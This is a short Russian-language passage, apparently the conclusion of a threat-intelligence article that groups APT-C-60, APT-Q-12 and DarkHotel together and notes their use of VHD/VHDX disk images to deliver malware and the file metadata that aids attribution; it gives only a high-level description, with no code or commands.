Вопрос атрибуции и объединения APT-группировок по регионам всегда требует тщательного исследования, поэтому в рамках статьи произошла компоновка группировок в одну: APT-C-60, APT-Q-12 и DarkHotel. Мы продолжим отслеживать активность группировки, обновление ими процедур и вредоносного ПО. Группировки из азиатского региона продолжают использовать нестандартные техники для доставки своего ВПО на устройства жертв. Одной из таких техник стало использование виртуальных дисков формата VHD/VHDX для обхода защитных механизмов операционной системы.
В остальном цепочка атаки проходит стандартно: от пользовательского взаимодействия до последнего этапа загрузки вредоносного исполняемого файла. И в то же время каждой группировке свойственно ошибаться, одна из таких ошибок — метаданные в зараженных файлах, которые позволяют предполагать, какой группировке принадлежит данная атака.